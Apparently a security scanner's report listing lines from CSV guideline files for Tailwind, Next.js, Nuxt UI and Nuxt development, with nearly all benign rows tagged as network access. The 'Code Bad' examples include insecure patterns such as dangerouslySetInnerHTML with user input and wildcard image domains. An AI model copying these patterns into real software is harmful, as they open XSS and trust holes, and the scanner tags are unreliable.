    39,Cards,Card spacing,Consistent internal card spacing,space-y-4 for card content,Inconsistent internal spacing,space-y-4 or p-6,Mixed mb-2 mb-4 mb-6,Low, 40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hi
  • Network accessline 41
    40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hidden labels,Missing context for icons,<span class='sr-only'>Close menu</span>,No label for icon button,High,https://tailwindcss.com/docs/screen-readers
  • Network accessline 42
    41,Accessibility,Focus visible,Show focus only for keyboard users,focus-visible:ring-2,Focus on all interactions,focus-visible:ring-2,focus:ring-2 (shows on click too),Medium, 42,Accessibility,Reduced motion,Respect user motion preferences,
  • Network accessline 43
    42,Accessibility,Reduced motion,Respect user motion preferences,motion-reduce:animate-none,Ignore motion preferences,motion-reduce:transition-none,No reduced motion support,High,https://tailwindcss.com/docs/hover-focus-and-other-states#pref
  • Network accessline 44
    43,Performance,Configure content paths,Tailwind needs to know where classes are used,Use 'content' array in config,Use deprecated 'purge' option (v2),"content: ['./src/**/*.{js,ts,jsx,tsx}']",purge: [...],High,https://tailwindcss.com/docs/c
  • Network accessline 45
    44,Performance,JIT mode,Use JIT for faster builds and smaller bundles,JIT enabled (default in v3),Full CSS in development,Tailwind v3 defaults,Tailwind v2 without JIT,Medium, 45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct uti
  • Network accessline 46
    45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct utilities in HTML,Heavy @apply usage,class='px-4 py-2 rounded',@apply px-4 py-2 rounded;,Low,https://tailwindcss.com/docs/reusing-styles
  • Network accessline 47
    46,Plugins,Official plugins,Use official Tailwind plugins,@tailwindcss/forms typography aspect-ratio,Custom implementations,@tailwindcss/forms,Custom form reset CSS,Medium,https://tailwindcss.com/docs/plugins
  • Network accessline 48
    47,Plugins,Custom utilities,Create utilities for repeated patterns,Custom utility in config,Repeated arbitrary values,Custom shadow utility,"shadow-[0_4px_20px_rgba(0,0,0,0.1)] everywhere",Medium, 48,Layout,Container Queries,Use @container 
  • Network accessline 49
    48,Layout,Container Queries,Use @container for component-based responsiveness,Use @container and @lg: etc.,Media queries for component internals,@container @lg:grid-cols-2,@media (min-width: ...) inside component,Medium,https://github.com/t
  • Network accessline 50
    49,Interactivity,Group and Peer,Style based on parent/sibling state,group-hover peer-checked,JS for simple state interactions,group-hover:text-blue-500,onMouseEnter={() => setHover(true)},Low,https://tailwindcss.com/docs/hover-focus-and-oth
  • Network accessline 51
    50,Customization,Arbitrary Values,Use [] for one-off values,w-[350px] for specific needs,Creating config for single use,top-[117px] (if strictly needed),style={{ top: '117px' }},Low,https://tailwindcss.com/docs/adding-custom-styles#using-ar
  • Network accessline 52
    51,Colors,Theme color variables,Define colors in Tailwind theme and use directly,bg-primary text-success border-cta,bg-[var(--color-primary)] text-[var(--color-success)],bg-primary,bg-[var(--color-primary)],Medium,https://tailwindcss.com/do
  • Network accessline 53
    52,Colors,Use bg-linear-to-* for gradients,Tailwind v4 uses bg-linear-to-* syntax for gradients,bg-linear-to-r bg-linear-to-b,bg-gradient-to-* (deprecated in v4),bg-linear-to-r from-blue-500 to-purple-500,bg-gradient-to-r from-blue-500 to-p
  • Network accessline 54
    53,Layout,Use shrink-0 shorthand,Shorter class name for flex-shrink-0,shrink-0 shrink,flex-shrink-0 flex-shrink,shrink-0,flex-shrink-0,Low,https://tailwindcss.com/docs/flex-shrink
  • Network accessline 55
    54,Layout,Use size-* for square dimensions,Single utility for equal width and height,size-4 size-8 size-12,Separate h-* w-* for squares,size-6,h-6 w-6,Low,https://tailwindcss.com/docs/size

skills/ui-ux-pro-max/data/stacks/nextjs.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboa
  • Network accessline 2
    1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboard/page.tsx,pages/dashboard.tsx,Medium,https://nextjs.org/docs/app
  • Network accessline 3
    2,Routing,Use file-based routing,Create routes by adding files in app directory,page.tsx for routes layout.tsx for layouts,Manual route configuration,app/blog/[slug]/page.tsx,Custom router setup,Medium,https://nextjs.org/docs/app/building-y
  • Network accessline 4
    3,Routing,Colocate related files,Keep components styles tests with their routes,Component files alongside page.tsx,Separate components folder,app/dashboard/_components/,components/dashboard/,Low, 4,Routing,Use route groups for organization,
  • Network accessline 5
    4,Routing,Use route groups for organization,Group routes without affecting URL,Parentheses for route groups,Nested folders affecting URL,(marketing)/about/page.tsx,marketing/about/page.tsx,Low,https://nextjs.org/docs/app/building-your-appli
  • Network accessline 6
    5,Routing,Handle loading states,Use loading.tsx for route loading UI,loading.tsx alongside page.tsx,Manual loading state management,app/dashboard/loading.tsx,useState for loading in page,Medium,https://nextjs.org/docs/app/building-your-appl
  • Network accessline 7
    6,Routing,Handle errors with error.tsx,Catch errors at route level,error.tsx with reset function,try/catch in every component,app/dashboard/error.tsx,try/catch in page component,High,https://nextjs.org/docs/app/building-your-application/rou
  • Network accessline 8
    7,Rendering,Use Server Components by default,Server Components reduce client JS bundle,Keep components server by default,Add 'use client' unnecessarily,export default function Page(),('use client') for static content,High,https://nextjs.org
  • Network accessline 9
    8,Rendering,Mark Client Components explicitly,'use client' for interactive components,Add 'use client' only when needed,Server Component with hooks/events,('use client') for onClick useState,No directive with useState,High,https://nextjs.or
  • Network accessline 10
    9,Rendering,Push Client Components down,Keep Client Components as leaf nodes,Client wrapper for interactive parts only,Mark page as Client Component,<InteractiveButton/> in Server Page,('use client') on page.tsx,High, 10,Rendering,Use strea
  • Network accessline 11
    10,Rendering,Use streaming for better UX,Stream content with Suspense boundaries,Suspense for slow data fetches,Wait for all data before render,<Suspense><SlowComponent/></Suspense>,await allData then render,Medium,https://nextjs.org/docs/a
  • Network accessline 12
    11,Rendering,Choose correct rendering strategy,SSG for static SSR for dynamic ISR for semi-static,generateStaticParams for known paths,SSR for static content,export const revalidate = 3600,fetch without cache config,Medium, 12,DataFetching,
  • Network accessline 13
    12,DataFetching,Fetch data in Server Components,Fetch directly in async Server Components,async function Page() { const data = await fetch() },useEffect for initial data,const data = await fetch(url),useEffect(() => fetch(url)),High,https:/
  • Network accessline 14
    13,DataFetching,Configure caching explicitly (Next.js 15+),Next.js 15 changed defaults to uncached for fetch,Explicitly set cache: 'force-cache' for static data,Assume default is cached (it's not in Next.js 15),fetch(url { cache: 'force-cac
  • Network accessline 15
    14,DataFetching,Deduplicate fetch requests,React and Next.js dedupe same requests,Same fetch call in multiple components,Manual request deduplication,Multiple components fetch same URL,Custom cache layer,Low, 15,DataFetching,Use Server Acti
  • Network accessline 16
    15,DataFetching,Use Server Actions for mutations,Server Actions for form submissions,action={serverAction} in forms,API route for every mutation,<form action={createPost}>,<form onSubmit={callApiRoute}>,Medium,https://nextjs.org/docs/app/bu
  • Network accessline 17
    16,DataFetching,Revalidate data appropriately,Use revalidatePath/revalidateTag after mutations,Revalidate after Server Action,'use client' with manual refetch,revalidatePath('/posts'),router.refresh() everywhere,Medium,https://nextjs.org/do
  • Network accessline 18
    17,Images,Use next/image for optimization,Automatic image optimization and lazy loading,<Image> component for all images,<img> tags directly,<Image src={} alt={} width={} height={}>,<img src={}/>,High,https://nextjs.org/docs/app/building-yo
  • Network accessline 19
    18,Images,Provide width and height,Prevent layout shift with dimensions,width and height props or fill,Missing dimensions,<Image width={400} height={300}/>,<Image src={url}/>,High, 19,Images,Use fill for responsive images,Fill container wit
  • Network accessline 20
    19,Images,Use fill for responsive images,Fill container with object-fit,fill prop with relative parent,Fixed dimensions for responsive,"<Image fill className=""object-cover""/>",<Image width={window.width}/>,Medium, 20,Images,Configure remo
  • Network accessline 21
    20,Images,Configure remote image domains,Whitelist external image sources,remotePatterns in next.config.js,Allow all domains,remotePatterns: [{ hostname: 'cdn.example.com' }],domains: ['*'],High,https://nextjs.org/docs/app/api-reference/com
  • Network accessline 22
    21,Images,Use priority for LCP images,Mark above-fold images as priority,priority prop on hero images,All images with priority,<Image priority src={hero}/>,<Image priority/> on every image,Medium, 22,Fonts,Use next/font for fonts,Self-hoste
  • Network accessline 23
    22,Fonts,Use next/font for fonts,Self-hosted fonts with zero layout shift,next/font/google or next/font/local,External font links,import { Inter } from 'next/font/google',"<link href=""fonts.googleapis.com""/>",Medium,https://nextjs.org/doc
  • Network accessline 24
    23,Fonts,Apply font to layout,Set font in root layout for consistency,className on body in layout.tsx,Font in individual pages,<body className={inter.className}>,Each page imports font,Low, 24,Fonts,Use variable fonts,Variable fonts reduce 
  • Network accessline 25
    24,Fonts,Use variable fonts,Variable fonts reduce bundle size,Single variable font file,Multiple font weights as files,Inter({ subsets: ['latin'] }),Inter_400 Inter_500 Inter_700,Low, 25,Metadata,Use generateMetadata for dynamic,Generate me
  • Network accessline 26
    25,Metadata,Use generateMetadata for dynamic,Generate metadata based on params,export async function generateMetadata(),Hardcoded metadata everywhere,generateMetadata({ params }),export const metadata = {},Medium,https://nextjs.org/docs/app
  • Network accessline 27
    26,Metadata,Include OpenGraph images,Add OG images for social sharing,opengraph-image.tsx or og property,Missing social preview images,opengraph: { images: ['/og.png'] },No OG configuration,Medium, 27,Metadata,Use metadata API,Export metada
  • Network accessline 28
    27,Metadata,Use metadata API,Export metadata object for static metadata,export const metadata = {},Manual head tags,export const metadata = { title: 'Page' },<head><title>Page</title></head>,Medium, 28,API,Use Route Handlers for APIs,app/ap
  • Network accessline 29
    28,API,Use Route Handlers for APIs,app/api routes for API endpoints,app/api/users/route.ts,pages/api for new projects,export async function GET(request),export default function handler,Medium,https://nextjs.org/docs/app/building-your-applic
  • Network accessline 31
    30,API,Handle HTTP methods explicitly,Export named functions for methods,Export GET POST PUT DELETE,Single handler for all methods,export async function POST(),switch(req.method),Low, 31,API,Validate request body,Validate input before proce
  • Network accessline 32
    31,API,Validate request body,Validate input before processing,Zod or similar for validation,Trust client input,const body = schema.parse(await req.json()),const body = await req.json(),High, 32,Middleware,Use middleware for auth,Protect rou
  • Network accessline 33
    32,Middleware,Use middleware for auth,Protect routes with middleware.ts,middleware.ts at root,Auth check in every page,export function middleware(request),if (!session) redirect in page,Medium,https://nextjs.org/docs/app/building-your-appli
  • Network accessline 34
    33,Middleware,Match specific paths,Configure middleware matcher,config.matcher for specific routes,Run middleware on all routes,matcher: ['/dashboard/:path*'],No matcher config,Medium, 34,Middleware,Keep middleware edge-compatible,Middlewar
  • Network accessline 35
    34,Middleware,Keep middleware edge-compatible,Middleware runs on Edge runtime,Edge-compatible code only,Node.js APIs in middleware,Edge-compatible auth check,fs.readFile in middleware,High, 35,Environment,Use NEXT_PUBLIC prefix,Client-acces
  • Network accessline 36
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 37
    36,Environment,Validate env vars,Check required env vars exist,Validate on startup,Undefined env at runtime,if (!process.env.DATABASE_URL) throw,process.env.DATABASE_URL (might be undefined),High, 37,Environment,Use .env.local for secrets,L
  • Network accessline 38
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 39
    38,Performance,Analyze bundle size,Use @next/bundle-analyzer,Bundle analyzer in dev,Ship large bundles blindly,ANALYZE=true npm run build,No bundle analysis,Medium,https://nextjs.org/docs/app/building-your-application/optimizing/bundle-anal
  • Network accessline 40
    39,Performance,Use dynamic imports,Code split with next/dynamic,dynamic() for heavy components,Import everything statically,const Chart = dynamic(() => import('./Chart')),import Chart from './Chart',Medium,https://nextjs.org/docs/app/buildi
  • Network accessline 41
    40,Performance,Avoid layout shifts,Reserve space for dynamic content,Skeleton loaders aspect ratios,Content popping in,"<Skeleton className=""h-48""/>",No placeholder for async content,High, 41,Performance,Use Partial Prerendering,Combine s
  • Network accessline 42
    41,Performance,Use Partial Prerendering,Combine static and dynamic in one route,Static shell with Suspense holes,Full dynamic or static pages,Static header + dynamic content,Entire page SSR,Low,https://nextjs.org/docs/app/building-your-appl
  • Network accessline 43
    42,Link,Use next/link for navigation,Client-side navigation with prefetching,"<Link href=""""> for internal links",<a> for internal navigation,"<Link href=""/about"">About</Link>","<a href=""/about"">About</a>",High,https://nextjs.org/docs/
  • Network accessline 44
    43,Link,Prefetch strategically,Control prefetching behavior,prefetch={false} for low-priority,Prefetch all links,<Link prefetch={false}>,Default prefetch on every link,Low, 44,Link,Use scroll option appropriately,Control scroll behavior on 
  • Network accessline 45
    44,Link,Use scroll option appropriately,Control scroll behavior on navigation,scroll={false} for tabs pagination,Always scroll to top,<Link scroll={false}>,Manual scroll management,Low, 45,Config,Use next.config.js correctly,Configure Next.
  • Network accessline 46
    45,Config,Use next.config.js correctly,Configure Next.js behavior,Proper config options,Deprecated or wrong options,images: { remotePatterns: [] },images: { domains: [] },Medium,https://nextjs.org/docs/app/api-reference/next-config-js
  • Network accessline 47
    46,Config,Enable strict mode,Catch potential issues early,reactStrictMode: true,Strict mode disabled,reactStrictMode: true,reactStrictMode: false,Medium, 47,Config,Configure redirects and rewrites,Use config for URL management,redirects() r
  • Network accessline 48
    47,Config,Configure redirects and rewrites,Use config for URL management,redirects() rewrites() in config,Manual redirect handling,redirects: async () => [...],res.redirect in pages,Medium,https://nextjs.org/docs/app/api-reference/next-conf
  • Network accessline 49
    48,Deployment,Use Vercel for easiest deploy,Vercel optimized for Next.js,Deploy to Vercel,Self-host without knowledge,vercel deploy,Complex Docker setup for simple app,Low,https://nextjs.org/docs/app/building-your-application/deploying
  • Network accessline 50
    49,Deployment,Configure output for self-hosting,Set output option for deployment target,output: 'standalone' for Docker,Default output for containers,output: 'standalone',No output config for Docker,Medium,https://nextjs.org/docs/app/buildi
  • Network accessline 51
    50,Security,Sanitize user input,Never trust user input,Escape sanitize validate all input,Direct interpolation of user data,DOMPurify.sanitize(userInput),dangerouslySetInnerHTML={{ __html: userInput }},High, 51,Security,Use CSP headers,Cont
  • Network accessline 52
    51,Security,Use CSP headers,Content Security Policy for XSS protection,Configure CSP in next.config.js,No security headers,headers() with CSP,No CSP configuration,High,https://nextjs.org/docs/app/building-your-application/configuring/conten

skills/ui-ux-pro-max/data/stacks/nuxt-ui.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Installation,Add Nuxt UI module,Install and configure Nuxt UI in your Nuxt project,pnpm add @nuxt/ui and add to modules,Manual component imports,"modules: ['@
  • Network accessline 2
    1,Installation,Add Nuxt UI module,Install and configure Nuxt UI in your Nuxt project,pnpm add @nuxt/ui and add to modules,Manual component imports,"modules: ['@nuxt/ui']","import { UButton } from '@nuxt/ui'",High,https://ui.nuxt.com/docs/ge
  • Network accessline 3
    2,Installation,Import Tailwind and Nuxt UI CSS,Required CSS imports in main.css file,@import tailwindcss and @import @nuxt/ui,Skip CSS imports,"@import ""tailwindcss""; @import ""@nuxt/ui"";",No CSS imports,High,https://ui.nuxt.com/docs/get
  • Network accessline 4
    3,Installation,Wrap app with UApp component,UApp provides global configs for Toast Tooltip and overlays,<UApp> wrapper in app.vue,Skip UApp wrapper,<UApp><NuxtPage/></UApp>,<NuxtPage/> without wrapper,High,https://ui.nuxt.com/docs/component
  • Network accessline 5
    4,Components,Use U prefix for components,All Nuxt UI components use U prefix by default,UButton UInput UModal,Button Input Modal,<UButton>Click</UButton>,<Button>Click</Button>,Medium,https://ui.nuxt.com/docs/getting-started/installation/nu
  • Network accessline 6
    5,Components,Use semantic color props,Use semantic colors like primary secondary error,color="primary" color="error",Hardcoded colors,"<UButton color=""primary"">","<UButton class=""bg-green-500"">",Medium,https://ui.nuxt.com/docs/getting-s
  • Network accessline 7
    6,Components,Use variant prop for styling,Nuxt UI provides solid outline soft subtle ghost link variants,variant="soft" variant="outline",Custom button classes,"<UButton variant=""soft"">","<UButton class=""border bg-transparent"">",Medium,
  • Network accessline 8
    7,Components,Use size prop consistently,Components support xs sm md lg xl sizes,size="sm" size="lg",Arbitrary sizing classes,"<UButton size=""lg"">","<UButton class=""text-xl px-6"">",Low,https://ui.nuxt.com/docs/components/button
  • Network accessline 9
    8,Icons,Use icon prop with Iconify format,Nuxt UI supports Iconify icons via icon prop,icon="lucide:home" icon="heroicons:user",i-lucide-home format,"<UButton icon=""lucide:home"">","<UButton icon=""i-lucide-home"">",Medium,https://ui.nuxt.
  • Network accessline 10
    9,Icons,Use leadingIcon and trailingIcon,Position icons with dedicated props for clarity,leadingIcon="lucide:plus" trailingIcon="lucide:arrow-right",Manual icon positioning,"<UButton leadingIcon=""lucide:plus"">","<UButton><Icon name=""luci
  • Network accessline 11
    10,Theming,Configure colors in app.config.ts,Runtime color configuration without restart,ui.colors.primary in app.config.ts,Hardcoded colors in components,"defineAppConfig({ ui: { colors: { primary: 'blue' } } })","<UButton class=""bg-blue-
  • Network accessline 12
    11,Theming,Use @theme directive for custom colors,Define design tokens in CSS with Tailwind @theme,@theme { --color-brand-500: #xxx },Inline color definitions,@theme { --color-brand-500: #ef4444; },:style="{ color: '#ef4444' }",Medium,https
  • Network accessline 13
    12,Theming,Extend semantic colors in nuxt.config,Register new colors like tertiary in theme.colors,theme.colors array in ui config,Use undefined colors,"ui: { theme: { colors: ['primary', 'tertiary'] } }","<UButton color=""tertiary""> witho
  • Network accessline 14
    13,Forms,Use UForm with schema validation,UForm supports Zod Yup Joi Valibot schemas,:schema prop with validation schema,Manual form validation,"<UForm :schema=""schema"" :state=""state"">",Manual @blur validation,High,https://ui.nuxt.com/d
  • Network accessline 15
    14,Forms,Use UFormField for field wrapper,Provides label error message and validation display,UFormField with name prop,Manual error handling,"<UFormField name=""email"" label=""Email"">",<div><label>Email</label><UInput/><span>error</span>
  • Network accessline 16
    15,Forms,Handle form submit with @submit,UForm emits submit event with validated data,@submit handler on UForm,@click on submit button,"<UForm @submit=""onSubmit"">","<UButton @click=""onSubmit"">",Medium,https://ui.nuxt.com/docs/components
  • Network accessline 17
    16,Forms,Use validateOn prop for validation timing,Control when validation triggers (blur change input),validateOn="['blur']" for performance,Always validate on input,"<UForm :validateOn=""['blur', 'change']"">","<UForm> (validates on every
  • Network accessline 18
    17,Overlays,Use v-model:open for overlay control,Modal Slideover Drawer use v-model:open,v-model:open for controlled state,Manual show/hide logic,"<UModal v-model:open=""isOpen"">",<UModal v-if="isOpen">,Medium,https://ui.nuxt.com/docs/comp
  • Network accessline 19
    18,Overlays,Use useOverlay composable for programmatic overlays,Open overlays programmatically without template refs,useOverlay().open(MyModal),Template ref and manual control,"const overlay = useOverlay(); overlay.open(MyModal, { props })"
  • Network accessline 20
    19,Overlays,Use title and description props,Built-in header support for overlays,title="Confirm" description="Are you sure?",Manual header content,"<UModal title=""Confirm"" description=""Are you sure?"">","<UModal><template #header><h2>Con
  • Network accessline 21
    20,Dashboard,Use UDashboardSidebar for navigation,Provides collapsible resizable sidebar with mobile support,UDashboardSidebar with header default footer slots,Custom sidebar implementation,<UDashboardSidebar><template #header>...</template
  • Network accessline 22
    21,Dashboard,Use UDashboardGroup for layout,Wraps dashboard components with sidebar state management,UDashboardGroup > UDashboardSidebar + UDashboardPanel,Manual layout flex containers,<UDashboardGroup><UDashboardSidebar/><UDashboardPanel/>
  • Network accessline 23
    22,Dashboard,Use UDashboardNavbar for top navigation,Responsive navbar with mobile menu support,UDashboardNavbar in dashboard layout,Custom navbar implementation,<UDashboardNavbar :links="navLinks"/>,<nav class="border-b">,Low,https://ui.nu
  • Network accessline 24
    23,Tables,Use UTable with data and columns props,Powered by TanStack Table with built-in features,:data and :columns props,Manual table markup,"<UTable :data=""users"" :columns=""columns""/>","<table><tr v-for=""user in users"">",High,https
  • Network accessline 25
    24,Tables,Define columns with accessorKey,Column definitions use accessorKey for data binding,accessorKey: 'email' in column def,String column names only,"{ accessorKey: 'email', header: 'Email' }","['name', 'email']",Medium,https://ui.nuxt
  • Network accessline 26
    25,Tables,Use cell slot for custom rendering,Customize cell content with scoped slots,#cell-columnName slot,Override entire table,<template #cell-status="{ row }">,Manual column render function,Medium,https://ui.nuxt.com/docs/components/tab
  • Network accessline 27
    26,Tables,Enable sorting with sortable column option,Add sortable: true to column definition,sortable: true in column,Manual sort implementation,"{ accessorKey: 'name', sortable: true }",@click="sortBy('name')",Low,https://ui.nuxt.com/docs/
  • Network accessline 28
    27,Navigation,Use UNavigationMenu for nav links,Horizontal or vertical navigation with dropdown support,UNavigationMenu with items array,Manual nav with v-for,"<UNavigationMenu :items=""navItems""/>","<nav><a v-for=""item in items"">",Mediu
  • Network accessline 29
    28,Navigation,Use UBreadcrumb for page hierarchy,Automatic breadcrumb with NuxtLink support,:items array with label and to,Manual breadcrumb links,"<UBreadcrumb :items=""breadcrumbs""/>","<nav><span v-for=""crumb in crumbs"">",Low,https://u
  • Network accessline 30
    29,Navigation,Use UTabs for tabbed content,Tab navigation with content panels,UTabs with items containing slot content,Manual tab state,"<UTabs :items=""tabs""/>","<div><button @click=""tab=1"">",Medium,https://ui.nuxt.com/docs/components/t
  • Network accessline 31
    30,Feedback,Use useToast for notifications,Composable for toast notifications,useToast().add({ title description }),Alert components for toasts,"const toast = useToast(); toast.add({ title: 'Saved' })",<UAlert v-if="showSuccess">,High,https
  • Network accessline 32
    31,Feedback,Use UAlert for inline messages,Static alert messages with icon and actions,UAlert with title description color,Toast for static messages,"<UAlert title=""Warning"" color=""warning""/>",useToast for inline alerts,Medium,https://u
  • Network accessline 33
    32,Feedback,Use USkeleton for loading states,Placeholder content during data loading,USkeleton with appropriate size,Spinner for content loading,<USkeleton class="h-4 w-32"/>,<UIcon name="lucide:loader" class="animate-spin"/>,Low,https://ui
  • Network accessline 34
    33,Color Mode,Use UColorModeButton for theme toggle,Built-in light/dark mode toggle button,UColorModeButton component,Manual color mode logic,<UColorModeButton/>,"<button @click=""toggleColorMode"">",Low,https://ui.nuxt.com/docs/components/
  • Network accessline 35
    34,Color Mode,Use UColorModeSelect for theme picker,Dropdown to select system light or dark mode,UColorModeSelect component,Custom select for theme,<UColorModeSelect/>,"<USelect v-model=""colorMode"" :items=""modes""/>",Low,https://ui.nuxt.
  • Network accessline 36
    35,Customization,Use ui prop for component styling,Override component styles via ui prop,ui prop with slot class overrides,Global CSS overrides,"<UButton :ui=""{ base: 'rounded-full' }""/>",<UButton class="!rounded-full"/>,Medium,https://ui
  • Network accessline 37
    36,Customization,Configure default variants in nuxt.config,Set default color and size for all components,theme.defaultVariants in ui config,Repeat props on every component,"ui: { theme: { defaultVariants: { color: 'neutral' } } }","<UButton
  • Network accessline 38
    37,Customization,Use app.config.ts for theme overrides,Runtime theme customization,defineAppConfig with ui key,nuxt.config for runtime values,"defineAppConfig({ ui: { button: { defaultVariants: { size: 'sm' } } } })","nuxt.config ui.button.
  • Network accessline 39
    38,Performance,Enable component detection,Tree-shake unused component CSS,experimental.componentDetection: true,Include all component CSS,"ui: { experimental: { componentDetection: true } }","ui: {} (includes all CSS)",Low,https://ui.nuxt.c
  • Network accessline 40
    39,Performance,Use UTable virtualize for large data,Enable virtualization for 1000+ rows,:virtualize prop on UTable,Render all rows,"<UTable :data=""largeData"" virtualize/>","<UTable :data=""largeData""/>",Medium,https://ui.nuxt.com/docs/c
  • Network accessline 41
    40,Accessibility,Use semantic component props,Components have built-in ARIA support,Use title description label props,Skip accessibility props,"<UModal title=""Settings"">","<UModal><h2>Settings</h2>",Medium,https://ui.nuxt.com/docs/compone
  • Network accessline 42
    41,Accessibility,Use UFormField for form accessibility,Automatic label-input association,UFormField wraps inputs,Manual id and for attributes,"<UFormField label=""Email""><UInput/></UFormField>","<label for=""email"">Email</label><UInput id
  • Network accessline 43
    42,Content,Use UContentToc for table of contents,Automatic TOC with active heading highlight,UContentToc with :links,Manual TOC implementation,"<UContentToc :links=""toc""/>","<nav><a v-for=""heading in headings"">",Low,https://ui.nuxt.com/
  • Network accessline 44
    43,Content,Use UContentSearch for docs search,Command palette for documentation search,UContentSearch with Nuxt Content,Custom search implementation,<UContentSearch/>,<UCommandPalette :groups="searchResults"/>,Low,https://ui.nuxt.com/docs/c
  • Network accessline 45
    44,AI/Chat,Use UChatMessages for chat UI,Designed for Vercel AI SDK integration,UChatMessages with messages array,Custom chat message list,"<UChatMessages :messages=""messages""/>","<div v-for=""msg in messages"">",Medium,https://ui.nuxt.co
  • Network accessline 46
    45,AI/Chat,Use UChatPrompt for input,Enhanced textarea for AI prompts,UChatPrompt with v-model,Basic textarea,<UChatPrompt v-model="prompt"/>,<UTextarea v-model="prompt"/>,Medium,https://ui.nuxt.com/docs/components/chat-prompt
  • Network accessline 47
    46,Editor,Use UEditor for rich text,TipTap-based editor with toolbar support,UEditor with v-model:content,Custom TipTap setup,"<UEditor v-model:content=""content""/>",Manual TipTap initialization,Medium,https://ui.nuxt.com/docs/components/e
  • Network accessline 48
    47,Links,Use to prop for navigation,UButton and ULink support NuxtLink to prop,to="/dashboard" for internal links,href for internal navigation,"<UButton to=""/dashboard"">","<UButton href=""/dashboard"">",Medium,https://ui.nuxt.com/docs/com
  • Network accessline 49
    48,Links,Use external prop for outside links,Explicitly mark external links,target="_blank" with external URLs,Forget rel="noopener","<UButton to=""https://example.com"" target=""_blank"">","<UButton href=""https://..."">",Low,https://ui.nu
  • Network accessline 50
    49,Loading,Use loadingAuto on buttons,Automatic loading state from @click promise,loadingAuto prop on UButton,Manual loading state,"<UButton loadingAuto @click=""async () => await save()"">","<UButton :loading=""isLoading"" @click=""save"">
  • Network accessline 51
    50,Loading,Use UForm loadingAuto,Auto-disable form during submit,loadingAuto on UForm (default true),Manual form disabled state,"<UForm @submit=""handleSubmit"">","<UForm :disabled=""isSubmitting"">",Low,https://ui.nuxt.com/docs/components/

skills/ui-ux-pro-max/data/stacks/nuxtjs.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Routing,Use file-based routing,Create routes by adding files in pages directory,pages/ directory with index.vue,Manual route configuration,pages/dashboard/ind
  • Network accessline 2
    1,Routing,Use file-based routing,Create routes by adding files in pages directory,pages/ directory with index.vue,Manual route configuration,pages/dashboard/index.vue,Custom router setup,Medium,https://nuxt.com/docs/getting-started/routing
  • Network accessline 3
    2,Routing,Use dynamic route parameters,Create dynamic routes with bracket syntax,[id].vue for dynamic params,Hardcoded routes for dynamic content,pages/posts/[id].vue,pages/posts/post1.vue,Medium,https://nuxt.com/docs/getting-started/routin
  • Network accessline 4
    3,Routing,Use catch-all routes,Handle multiple path segments with [...slug],[...slug].vue for catch-all,Multiple nested dynamic routes,pages/[...slug].vue,pages/[a]/[b]/[c].vue,Low,https://nuxt.com/docs/getting-started/routing
  • Network accessline 5
    4,Routing,Define page metadata with definePageMeta,Set page-level configuration and middleware,definePageMeta for layout middleware title,Manual route meta configuration,"definePageMeta({ layout: 'admin', middleware: 'auth' })",router.befor
  • Network accessline 6
    5,Routing,Use validate for route params,Validate dynamic route parameters before rendering,validate function in definePageMeta,Manual validation in setup,"definePageMeta({ validate: (route) => /^\d+$/.test(route.params.id) })",if (!valid) n
  • Network accessline 7
    6,Rendering,Use SSR by default,Server-side rendering is enabled by default,Keep ssr: true (default),Disable SSR unnecessarily,ssr: true (default),ssr: false for all pages,High,https://nuxt.com/docs/guide/concepts/rendering
  • Network accessline 8
    7,Rendering,Use .client suffix for client-only components,Mark components to render only on client,ComponentName.client.vue suffix,v-if with process.client check,Comments.client.vue,<div v-if="process.client"><Comments/></div>,Medium,https:
  • Network accessline 9
    8,Rendering,Use .server suffix for server-only components,Mark components to render only on server,ComponentName.server.vue suffix,Manual server check,HeavyMarkdown.server.vue,v-if="process.server",Low,https://nuxt.com/docs/guide/directory-
  • Network accessline 10
    9,DataFetching,Use useFetch for simple data fetching,Wrapper around useAsyncData for URL fetching,useFetch for API calls,$fetch in onMounted,"const { data } = await useFetch('/api/posts')","onMounted(async () => { data.value = await $fetch(
  • Network accessline 11
    10,DataFetching,Use useAsyncData for complex fetching,Fine-grained control over async data,useAsyncData for CMS or custom fetching,useFetch for non-URL data sources,"const { data } = await useAsyncData('posts', () => cms.getPosts())","const
  • Network accessline 12
    11,DataFetching,Use $fetch for non-reactive requests,$fetch for event handlers and non-component code,$fetch in event handlers or server routes,useFetch in click handlers,"async function submit() { await $fetch('/api/submit', { method: 'POS
  • Network accessline 13
    12,DataFetching,Use lazy option for non-blocking fetch,Defer data fetching for better initial load,lazy: true for below-fold content,Blocking fetch for non-critical data,"useFetch('/api/comments', { lazy: true })",await useFetch('/api/comme
  • Network accessline 14
    13,DataFetching,Use server option to control fetch location,Choose where data is fetched,server: false for client-only data,Server fetch for user-specific client data,"useFetch('/api/user-preferences', { server: false })",useFetch for local
  • Network accessline 15
    14,DataFetching,Use pick to reduce payload size,Select only needed fields from response,pick option for large responses,Fetching entire objects when few fields needed,"useFetch('/api/user', { pick: ['id', 'name'] })",useFetch('/api/user') t
  • Network accessline 16
    15,DataFetching,Use transform for data manipulation,Transform data before storing in state,transform option for data shaping,Manual transformation after fetch,"useFetch('/api/posts', { transform: (posts) => posts.map(p => p.title) })",const
  • Network accessline 17
    16,DataFetching,Handle loading and error states,Always handle pending and error states,Check status pending error refs,Ignoring loading states,"<div v-if=""status === 'pending'"">Loading...</div>",No loading indicator,High,https://nuxt.com/
  • Network accessline 18
    17,Lifecycle,Avoid side effects in script setup root,Move side effects to lifecycle hooks,Side effects in onMounted,setInterval in root script setup,"onMounted(() => { interval = setInterval(...) })","<script setup>setInterval(...)</script>
  • Network accessline 19
    18,Lifecycle,Use onMounted for DOM access,Access DOM only after component is mounted,onMounted for DOM manipulation,Direct DOM access in setup,"onMounted(() => { document.getElementById('el') })","<script setup>document.getElementById('el')
  • Network accessline 20
